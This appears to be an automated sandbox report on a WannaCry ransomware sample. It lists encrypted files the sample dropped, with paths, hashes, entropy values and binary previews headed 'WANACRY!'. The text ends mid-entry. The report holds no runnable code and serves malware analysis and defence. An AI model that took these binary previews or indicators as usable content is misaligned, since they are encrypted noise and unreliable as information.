                                                                                                                                                                              Preview:WANACRY!.....g.L......8c.g...j.D.U.[..u$...@=l)..."./.....Y....ZY4.L"....Qk....1f..(.....5V.M..............v..v...#K.x._..y.H.l.u^.{3....[g.<.j0..S.U...;........`..}m....f..E].f3I.@......B..uO........:A?....t........k...Z.[.M~R.&.j8.Q...Gt..d]q].Y..............[..(.uQ.Pbt.....}..........WN.....0.^A..._...[.?=...3.RK..usqq..4..+Fj"...u.P.n0....=..q.....~K?.....8.B.*U.V.qA...>..X.L%.)...!.bU#.r..H...i....g...&..I..c......1....)CT.v..2...Q*s...4.,..S.5.M).7M?..T..|..mb..Mb!u.F.......0..O[..p.2..*.i.K*.qh...H.l.?r).....-%.Pi..G..r..sL.X]......i.A8...Q.(....!...T....C.0]2o.q...?.y.OLH.c.St.\.../oN..{w.<....S.j..*G...^...'...*tr....a...9.h.....d.!.~9..}c8.-N..+...8Y^...F....Pe..;....{I...00.s7..b.k>.nA,./.a........v..Y..m...C..._.t...1*..4...UV..j+...r.~l..._7.Z.}6.V.[.b...5..t!...s.v...('.....%.5.&..r...A...F...L.c..f.}...C......udl.$..G.Z.e...t...>f..m.]#:r.".M\.z.._.T.h%.D<f....?}......./a.......-....a..H..Y+.....o.."<?XnQ..T#..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\6hU_LneafI_NFLeDvM367ebFaKQ[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):22136
                                                                                                                                                                              Entropy (8bit):7.991080291805864
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:9pQXdAGhHbccUcwQPrqZ6asGo0cYuW3WJdy3atJXFjhMw43msVt2OY:XGhQcp/rqZ+Go0tuWqdv19MwekOY
                                                                                                                                                                              MD5:A0B04652FB6BABF709A8956C8A96C95B
                                                                                                                                                                              SHA1:B5DC20C82D78DFDACE9979D7499CCDFD563978F5
                                                                                                                                                                              SHA-256:8C88C79C3AEF487A1529708AD01A2ED8E02C7C939FAE7A2B625B6867A45EB73C
                                                                                                                                                                              SHA-512:7FB0E89FC6194658C445E8A6CF30D000BC2DDBAB1EBA618CC82BF182ED0C928B9D2778BD9C0969CBE0EA336FE8156521C32CA65BD258406CB126EE0CF88D7A7D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....[...o..F..-.f...SS.G...v3.s~......B..+..M.J.z..j.&......vn.|.78.`a.......e..~...@..R.UB.m....~.......%.Y.*...E..9...]K..Z.....5.#..]G.`...))y..mf8.^*A..1...i..U.S4...s.+#.-.9.v..z2.;...|.......)D.......u..i.g.<.r.......{.{gz....S../...Y=...Ld......YU......:.qP..n{$..|.q...b.....z..........'g......>Q.]1[..z..........R.g..y1&.....:a.y7..^B.kQ...!......)E.q<.7~.........LN....x5....."...y..{.Jz..OPe]....`).M.:l)\....n..5n.....S....2.s$*9A...i..M.CB.?-..|_.z]p.{.I...V/.~....H.0........H..?..q..D..?W..i.P....3...|.....k..@..2...a.....r...L...l.Ra.<....D2?.....j...06#..=...t...8.l6(...#u........a9d7E...O.q.2.../.X........n..M..' Y;.P......7...i...iUP.gTA...fy{.L]m.7(..r.....M@.Y....H.7....7Q.I....w...<."P..<{N..Cz..U?Yt......u.<2.....w..oZ....S.......coR+..|........fBB.D....<=*'zF...!...S.z....r...Q...p..E..h......."...i......T..oD.5....>.k.|...1....V.p.._.:.0J.yg....0o@..MP._.....Gv.&..Yac.....:.N...`GQ~qSs....}.k\'Rp..1t.v.^..l...9..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):121496
                                                                                                                                                                              Entropy (8bit):7.99866131332877
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:DTNnWstJ3AChefSeNJCR5rxzi4S5JpQ1l:HNW437wqYCR5NHP
                                                                                                                                                                              MD5:F76191F062C6E91B6CD837766D8E7A14
                                                                                                                                                                              SHA1:F5B4BFF3E5054652B75E17E191169B4D2A954340
                                                                                                                                                                              SHA-256:0E3314E7160DD33D14FDCBD14AD4B24AF0C7F01473BFEA1BA98734213D3E7021
                                                                                                                                                                              SHA-512:7F312371FF3DB39FB4B81943A02702AAE3AC6C832B2461EECA668345998A2E9B5141FDACA0C0A80E09158CFA6F9FD40325B8477154DC51F2293039619885E93D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....e..T.Pf~..m.N.w4.N.&Va'. 2...z..Y..\...;.........._!.4.Fp.D..i..'rD....2Y.....{..c._........S.gFN.qR0...c...i...*...n...C..Q....XR|1:.j..5....Z...D...S.e....s....^.z.7rC"( ..V......ma..!..C....O.,........~{...c&+.z]V+....h..f..4...pQ+...Cn.....~........y1LN.atPDH"q...II.;....F?..K...trZ]\L.$...:.uu....l.%.......}..\.9.5W.#..Y5d.u$.fwX.bC>.@.......M.$.j..'.*.27..I....s..oq...4..4$....T.73.J1}..8..........,.....)z.t.../h...P.xf.T;........<../..;(...B........K=NE.2.p . W]1s.PDT.}G,......./..a3..:.I.u..d....&&t...(..[....-..,.../..n.....G....`.3.b>.&.{..Q.{...t/...........p.s.....=...VW.+w.r.z..2..6~A^......_....L....J.O.......1..B......X..@.Oa"..5.C7.q&.,YD?.......v]n..@"...o!A...X.@{J..'.6&....g.......>.%V.xZ.@...Y->dN.=...3....&........_.W..=.uz.....P......sD4.....J........,..;.@K.(..$<.K.....5M...E.r.....M..qj.....ru .3p..S..z#s.....&...Q..h3..r.b..I'.. t.q....r...r..iH5#..^............A..hgBI..{.D..m\*...q

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\7TU8ICAJ\WwF5sNrjseqq673SafWJ8p6dARY[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):59016
                                                                                                                                                                              Entropy (8bit):7.996909807522197
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:2ObulpB15sKqVkEnoznZoLpq7dyIIDLN4NhhYL6V61A7TJp:ObBsNkEnwZ4Myvu9YWga7TJp
                                                                                                                                                                              MD5:E3486FE8784DEA7083496F210C775010
                                                                                                                                                                              SHA1:4AD1BC2EA3D552EC5FBEF6FBACC53C0FDFF98E32
                                                                                                                                                                              SHA-256:80DFD7611FAEE02B39D6395A8154EB44D94E43764640FBD24178CAA5839FD4FB
                                                                                                                                                                              SHA-512:07D582752B6BBF8E756EA321E4ACA12E7469036DE3C351F34318797D31351F1B20DBC58B23F3CE4E2668EC6C50798918325A9CC744250808D5C6FD5082318640
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!...._..h...%...OA>8..dy....Z.`)K1LE{./...G....5~......l.^$X...^.[ L...s...g.......?.eS2.Qt..x...1w........)..k..<.. ...tw.l..]J........F....KlE..I.....XB H..K.....7...n`...h.wO0.q+m......L.x.G..[K..+#:..[.x...eJxh....6...n.A....v..*.B..K.._.t....g........X...t..D...qE.g...."h..\%...}.|1..OCJW ~t1...V.f..ex...M.....4JC.z.....NR.U..-..;..N..n..cS"q.Xtl"..1...x..?..Wj.R..G.F.&G#....=..7.m...Y(..u6.D7.p....Sslt9.....Z..&.#..8.~...7c.]D.V...o..}zD..2.Z~.(..t"...t.U........<.^...g.]...QI.ZY."F:Z."..I.?.......D+...C.=..5.pFX.Py}a........-$...X.I..w..W...F./,J%....\.#...D.o!q....dU.dtV5..j..,L.......2@..'.+.6.r.u...09..3.u:N.n@;.....I.nL....n.Lt...8.H..w...I?..".^.vv....v.I.=..>{Xh'...k/..G.q...A...I..hg...Q..d.?.]2..F.L....L.9..BA.$..].N..Z...RS..B"......m..:.2...r...|.{../......aj.....<k>.v.(....zF......>L[.t.....$..X..VS-v..Y.g.....8...a.nCT..g....x....)....Uh.c..CX....R........&.[.!.....R..0.D.K.....y.SU&:A..P`.0X.P..Lo.d.....=.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\INetCache\QTRC1JK9\X6j0qPgNij1n_IogMJrgYaT9Kp8[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):20552
                                                                                                                                                                              Entropy (8bit):7.991030297360169
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:Dy98w55ssCc14xGlsjugtW16DwZSv6xPDOuD1x1APJh6pmihvjnncH5fC0hk:Dy98m+xrStZy/Pomihbnnc9k
                                                                                                                                                                              MD5:8CB872B5061A42393A3C1319114F30AC
                                                                                                                                                                              SHA1:050704EA4D563E857B84F5424CB0B120E347E9C1
                                                                                                                                                                              SHA-256:CEA01B0B3DF31C00CC3A0F1768F0774E0E58C3DB2D5AC8E835C9324CE8CFF763
                                                                                                                                                                              SHA-512:12DB47464E02B43ECDC637A0F009DAD243EEB876AC97D9193438612C8E5C224EEC92D40C017BBD459A0F8AEFCBEEF5EFE3DD685EE3B7A0A2EB793378A3FBD01B
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....].x.U..C..;.......b..~..w...!?=.. Bv..c..H....^..yF"..1F.|v.F..q .sq*8......".......y.2..^.:.r.T6..~..hK..X-..jf/..U.K....L.)T....w$sd7.A.3.k. .!..I...r...T/..W.mOD....O..t....Z........y....i`l.:b...hDD..Y.,..w..dB69_Z1.. .... -)......"I+.p.[....$O......z...k....-....k$=.I|.l.....p.....y..'1i.jXd`].....dKj.....?../.+......V..wG)...M....=...Y....;.l....Wv.a....Z6..TM8...~I.h.........^{.=.B.|..p.g..........O..L..(O;.....Z8.:..^.xw-tH....#......v+6Hp.H.}.y.$jRq.~..Xi].-....}Y..&.N.j.5qu.. ...l].<....kY#Z/.......F.un]gglm.@....r@n&.....6&..m.W]O`l..(O.'..>.0ccA..&.u.....!.3....V.&9.`7.>....{......X.A.....6.,.('.C.o.|.........z.1k..}........K..u%:..C.c.yA...f&v.T.F..@b1=g..K..94......B....W......].yZV7.)H...Y...n.y..G..e...$..-.>.9.D.K.p{.......8..%...l@.K....8<...X./.x.."l(.m7...v..I8h....t.."l."f5-...?.?......Y?..%..k.'PT.... .W/*..H1H*.....:....d...v}...j..!$.......p..?....! ...E..B..k.M....E.R.Gxa....~...\Z.......-V0..G

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):696888
                                                                                                                                                                              Entropy (8bit):7.9997050950579025
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:12288:YD0LBwLPRW1WMnZJA603YGgr1WZCW9MaswUmX7DKufPtHYOyyPtqv:YQLBwLPR5Uw3SW1ArwnKMYOyyPtqv
                                                                                                                                                                              MD5:9369B177AD21417033CA3FBD4EC03744
                                                                                                                                                                              SHA1:821B1C554029D1593931CDD7C46DEF7AAB9A8CC7
                                                                                                                                                                              SHA-256:6707BC344098FDC04880FD644F8E80CAB0A03D6113412912E4CE54D336D9D9DA
                                                                                                                                                                              SHA-512:D5FB277A418A9EE1050B354BF9F92431AD5AF78771425BFCB24ADA7C9C740B1CC09D2CCBBAB9368A6790436FD93214B582BABC9108ED0A47E4EDD80B8F1DF2DA
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Z~.q.. ^..s.A....@....._".Y.s.....?....n.\.f]Rj..$o|-....e.6!@..t..m....6.Z..4.B...Z...b9...A.A.lwB.@".pS,..D.9}A..`....}.!Q.@[..y......,1^...3..w.g..o"Z_RDO.O.,_.A. ..`..|..n........j.H.A$...z....ni...kp..%..P..h...U...1.c..3.J...Fi_..j..Rn..K............u....P..8...v...e..........S~B...GC...gq|.^k6Xa....L.,~^...>A....%x...2....g.L.^.g..:z]/.y.....*8g.+6a..c...7$..1.....U.?....!..T.f.6..{....7..B.85_....:..55..].ia..V&.C......B.E...>.2(D%..9..a.....j.....~.~.3.~..b..........*.-.z1^e.t..9..#4.62.^.m.S.h.S_v......q.R...l..ul.....+O.4..?.......=z...)D.Oer...&.L.{..C......#......2 ..'Q.\M..q......$g..~.....+..`!...,).}...~}.1...H..x..z.M......:GlL".g^....A6-.pA.....T...{.PR.XC...w..i..9...S.,.a..H.@.....f..J..=.|]..c.Q.i...Jiit...[....u_..}.......l.O.y.....C.....x.....z.<m.cq.v....*...B..y,.Nd.2)KS..b.L.....L..8.7....7nF.iM .....Gc...zBWb.$..6,..;...c...Ns..(&f.. O...?.mZJ..6.F..!1$.,>.M.*...F.^.XyF`...#..r...U.(.7$e.V\.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\topbar_floating_button.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):440
                                                                                                                                                                              Entropy (8bit):7.5251830091059855
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:bkEDdCYIn7djzK1MF6FCMiWs/jlxMOvUQ2:bkbTn7JR6UMiN7UQ2
                                                                                                                                                                              MD5:586FF44EFA37D8A944BDDEE971E2FC57
                                                                                                                                                                              SHA1:20C4FDFAFFA1705EAF1124E0D559DF0E7B792EC6
                                                                                                                                                                              SHA-256:A6240F024170D09BBA0285C927B315409FFE62D45639A2B280F1F399A129607E
                                                                                                                                                                              SHA-512:B5581E24DD9C6B6E440A8616B3D7C2E9960DC5D288A7095AEBEE241786BA8BF72C155373CECD1B73B7A479B54B5C384169E9D719A01A18431467E74CB5D4C1C2
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....W.......K..qMz`...H....@.O.yR..~..0.4f.l..FR.E..$...hO+y.6%..:..?`..w..=t..x.}.3.....Y7......0..v}BS...X.v.p..*.R=.#.......{`D..q2..$.L.NX....uT.rD~.'b..Lb........I...o.v.{r.3u%.I.8u. .--...cO.......1.|0j{....AH...T.)...tke..@......H........9....................z..!p2.P...s..@.4...Y.-..3wm.n.)<..$Q...kV.o..`....7............Fya.._.\7#z..(S.].Bg..cIl....?..Lw...88W.t+.....n..1...^.z^ds6.t|..[...&......xi&.....*(

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\128.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):8248
                                                                                                                                                                              Entropy (8bit):7.977513469502106
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:tG4pkyiBsh7YseaZ4Q8NlI88KdfX6UQSOv9Aj:jpaqJYYcHrdChbO
                                                                                                                                                                              MD5:C74BE176A38FF0560E0FA87A46C1E9AE
                                                                                                                                                                              SHA1:F8B1AB505DDF4275280DBAFE0B936C4CCC00EDB7
                                                                                                                                                                              SHA-256:F247586D4F359E78ED7820BA2F610B4E4130F2AD6FA611F77B860FEE34193E28
                                                                                                                                                                              SHA-512:71B53FFFA1B5588BCBEBE5F5DD7924103984C8DA5B98C1AED0049456EF377E5893152DF8BDEC3C60D7194A7D8FED7D4CE955447903D9CF2DC11D9F3192D6E0BC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......a..43'[. dm.Z.....K.].?Tc...E.......,..A...IO..r.V....A++.X..x...P.MU...O...gj/..}-.X.j.Y..\|3...rj.S....N.l.v.$....0.PY.Dy..h0...2...u7....F.a^@...z..+.L.........s.........)....M../Y....P......^=_.g.....U^...._.V.B..zG..t..V .0..SD.et...............YTR..]...&x.$...: .Z...0.da-O(..p0p.m....>.".'.W.L.........Y?.pp+...y...n7.........(......<.K..T.=.Z..N....hb.W.......D.s".8...(..Q..._...#...0v>.jh..k....D~&N..*'A6.....EN......l...Hl...e..a.V:`...(.&.ZA.\.z..T88.@I..d..........e..k.."m6.......... .............R....U@.8..T...6`..b_.j.........p...[.x.e...O."N..,<......^.....6'F......JX.M.r..q5..X...c.S5:Dc...C.qbo..x...f...~.l.../S.in.-l./.....,...%.*...@..utu.....cI..@..%....W."...t........O'..J.WpS..I^.....A..,..P.#r....ip.7@f...7..5..u......`...J._X..W...`.m. .\..5..{+<8.....<9.h~.o%c........1.].6a.\..qv.....g....(.m..i.u<...h.........T.?.mX.Q.*.....(`/.......;p).."Y-.@..9...z..-.....+3..:5..h..q.....

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\192.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):5976
                                                                                                                                                                              Entropy (8bit):7.968816202989384
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:o3Zx7+z30DPBvNj8+EFEqRd0MSAv9g8HYTyHGhXfo6pJS0TzHOm46DqnWya5QN+b:MizGX8+OMMfZ4l9fo6j1HKWyamN+Fp
                                                                                                                                                                              MD5:7E128D40102DF6FFECD8CFCF3C5E9D1E
                                                                                                                                                                              SHA1:0B845E35EBF03C2245649EFC59B0D7618A69927E
                                                                                                                                                                              SHA-256:12523C5EDD1D8BD4C2D0FAD2F9625C1DA6661A702E80589CA516B8817931D310
                                                                                                                                                                              SHA-512:A10BAD8BB55CB031C6933D777AEF6A027D558EF2C19568611F917DBE12A37B10A44A06A7ED9A8C72E9DA0C8BA1DABC02C1D0A7DCDD09E6207846BEABEF574F69
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......|...B/".F~._......1.)...H.d^s<...Xd.!z.}z......Y...6[D..n..[h...9iv..h...&..@...V..$L..SJ..6..[...(u.E...{.j+.?..D..z.....P.y3O......4.J.za..aA.!..J..g...d.q{...9A.*......x..6.x......'W_.K.....*...<....v....`}\>...v4..ec...v..uK...U?)SW..^.f....9.......d.z5...."..V|...,....Z.@..../...|d....1.!H..E)...:..{...6..w-@..;.K..8[A.}...Zn.<.~..J.K.'v3.......g....Hg7.5,.....I.Q.a..._x..}4...{.p...=@RY...u<'D...W..'..j.],...Il.p.+P.kg?..d.zp.3M..#....Vg..R.JEB.l{..*...D..(.85.m.:.j.'.......T.g..Z.(5f.uV0l....:`6I.LE...m........J6...,xm....j}El.*l..:..g.b..).....k.]..S+........2.d.c.....,..s...._.!gAT.+..k.<z.R..........7b%.(..A7.{.]..g.O>I...S.1>.+}..s...[.H.6...o0....;`...$R9.H.g...aWQQ..-#[.........$k*.U...i.....'..6.......Yl...x...o.jg..62h&x.h4..A|bH.......(...@..^e..iwA*<.......d.'...L.......`.....o....\L..{W.N#...............I..._.1....15Dg.W\...2.....$o.}!.M...qa.T..dwM.? ...>.2.....2.G..Nn....I-.{.l.r#Z.y...........`.&..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):19880
                                                                                                                                                                              Entropy (8bit):7.990433255250533
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:A6BFfBJzypaJHrOOdFyH1PnDneAAdqzHXnxhhw8vrMSiOKDcY8Iw0FJTHgzSZi7y:NTnypSrOyFyH1nLoqzhhhbr0OOf7rgzk
                                                                                                                                                                              MD5:5ADA64B3871B1C4C8B486D7F7A6DE2D3
                                                                                                                                                                              SHA1:63F2907B12090776EE8E3E2057C8936E2A421E46
                                                                                                                                                                              SHA-256:326DEED8A5424E9759E6231B35AA507D29A24E0A3DFCA37040943404CAD5E764
                                                                                                                                                                              SHA-512:5DDC834B652996CD602EFFD3C194A6117F9EE4EB785B2590D6B38FA6D977ABC7ECCF7E5F0CD714603EBE39B2AC4D43036BEF67DDB702FEFCC2D3EB43AC4F3EC6
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......I....c..B......>V.....<.H..T...!5.%...1..a..Hx...*....C....7!a2?{I3F..*w>../..3..dJdl...j.R.(XxB.?N.Zn...Na"...B.y...`.$r.oB../...!..Z..B(0.......R.....E......U\.....EU..Kl.S.]..h..8...t.@?..[.0.O.A.6.j..f.(K.......0].48@..Q..5...-R.K........L......o>......z^...m..8..+O..@..z.$.........hK[..lt}.Tx.....|W...m.....;....f..v.[....(.p+^S.42>.y.)8.#+UbvI.U.w....;g%..DS..7g...c.... `.M....^}dn".2....u+-l..H.GR...U.j}...1...bAf..NF.......'(.lAx.G.$.W..j.9y.>1G....:.g...5@.......u.<......G......Ze!._...f...Zu>Z..6...5...^....vTa.DvC.{.f3...5d!..(...6t..........<.h[.Q.jN.#(..BUe*;7H..A8..O...[.c...Y...?.c....vCg.0......^D.".....C-4.ptR...~...f.........{/.H|.<.1....VV.a...I.MPI...j...U.Rn....Hn.&..Lc.cz..Z.{......f.k.].Fv.j..S.............(.W.d*!...1..K.....Q.4..(...Yt.6"'..^6.H.{.......8.d...xQy.&...8{U.Z.&...j.....<.#..5.5._P.n.O.....G..S.....V.Wv..<.$.W.w.-.../.Z8B...wq...GV9p.ZWPn..%.xE.RU*X...H5B...y.0._;.t......W.._.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\32.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2104
                                                                                                                                                                              Entropy (8bit):7.900083753650562
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkLMegLfTzFOs1g/yTJ+oJOuwgltG3jOTnWZqokpNf:oLM9rR8/yBJtltsO3Nf
                                                                                                                                                                              MD5:01533A41C4B1991E4D6A6190FCD47450
                                                                                                                                                                              SHA1:470F52A877E0914087FE164DEFAE2368A394AB40
                                                                                                                                                                              SHA-256:DFCA8793F524A96D90C247F52AD54849A0E7E0CB3ACBDCD9F3FD3536D60DCDB2
                                                                                                                                                                              SHA-512:4406254CEF902DFCA5F7BB68E789351ED58D2E65C3AA62D3FB1A1956D80429F3C89FAB55F2D4B926A2D2454E81EB9348BD0650E96131CE7928B154E7965DE7EF
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....P,|?#2..-........vXH.ki).o...9C.J.5.QB}9..6...ek.0./5.K...(..?.Og.7K7.....q..B.[..w%z.....I.G...^....I..L#04../....h.e8..t4....m.u.....,`.d.'..~...U.^..i...U#.G.........c". ..).4R..s6.\=...I.|N[:.F...........&.G...)..!0Uj..b.....{T{.0................/y.......>#X.....>`..P......Dm...tV.!....wa...L.....@&}..k..8gn...%.@..*3..:..J.+Fe9........;..~G....9..o..'>.V...ft.v.Q.......8.v.bnge...#.%.IJ.>......Y]:...W...w.gl.i....5....om'..s..##..v.:U..*h....k.7v.......OAI..;.y.0...m.1....b...-``.4......S.^...U.A,.&...N.V....;W$..g.PG".KcW2...`..B.5.m.5../...E....#..T$.e..*......V.&..U.......C....ypL..r....[-...IHl...:.I.....2...=.#%.......iR....Jh.u..........K..V.D.n..\,Z.....5..|_...v....}.;5V.. x...O.)%....e_y..@.Pt.c^.....T.;~.XG}...\.+B...7H..Z.z..H.O.f._..3.`.7....6._........8...0.kI....T..[.....nLJy.i".rjdy:.......}a...<.....:5......RA........$"t..6.......qP....*.P.@{[~ .#.[...~.......U._KI.".d....-.e..q.....%..k.lc...q.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\48.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):3160
                                                                                                                                                                              Entropy (8bit):7.945952163889733
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oExBWc8i4t4CQEKIWsOVFFDo5/6IyB9dQY2NYiu:dQO4SCQEKIhOdo3yq43
                                                                                                                                                                              MD5:F851ED0305BC72283864A9B7972A1598
                                                                                                                                                                              SHA1:0ADB0CF3E3D2D21B7B0BA73AA6E284BDBFC98E76
                                                                                                                                                                              SHA-256:B90FAAEF2FE555D1EC7FFCC9CF2208EF1C3EE28D0EC9838B760016482A8D1781
                                                                                                                                                                              SHA-512:DDEF1FB71201C88E11A9436EF82B202C96B28052C61F4310BFF441B46753D1C1F1879436D5C53985992BA6D15C0504295E6FFE1ADB22F089F754473BA9224D18
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....B...y.!..h...}.c".......(;.?."..;.!....+.{...*.E^f:.!>.......d............a...P..J<muI$...U{...O.]T|:O.-@........=...d..s.U..>..=..0..j..6.p@C..o....%.y..."6]........km.*f...Z.~.....Q)r..K-..[Gw.#D.9.a.D.W2ED....b$.C.....@.~..4.w.<....|.2....3.......6P.s.......8xt....".o.F..._.|c.y)..=.=O.R.........v.B.s..oERe..E..WZ.W._E.....IAu..8.....S._.V.|....Zt..i5...>l.z....c>=.....1._1.9W(...C..Y..c.9.............fB.q.,gP...F.O...7..(...R.X..K~....i.U.[l..lR.......v......Bi..w._.L.P...].Z.PM...%'...|.fl.(..e...kJ7....3lG%...YMn...6FR.j..h..%b.F.-....4................k.F,.0g...x.wY.>....U...n.(z+..\.........q....... Lf..'.....Y...>_qJ...~q..,..lQu..T Q.wZ.!..x.t.[.d..]..i.*..-w@..#.........9R.@OM$MI.I...8r..T`.......u<.....X..C.*.^..`B..T.~..6.C8>.....FA..a.X..p.....G....._>8ZX.',=Hz...._...Qk7\..n.i-.....8...PB`.....1...y.......o.u...f.`..3.E..}:I.|.>..Z3*A:.FL:7.......~A.M.....2~.#WM.~.%..*........PgPb.0....Xj..PJR.....x.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\64.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4120
                                                                                                                                                                              Entropy (8bit):7.956175793828677
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oWGuMah+2ERo/ZK0nGRwXFrlbtKR3CUC9Ieon:FaGDn/lb9I9
                                                                                                                                                                              MD5:F24E9BFF43C54A422AC9F7B4B4922174
                                                                                                                                                                              SHA1:2D6DA04163E72D28A37E23919595EF04CABDB6BB
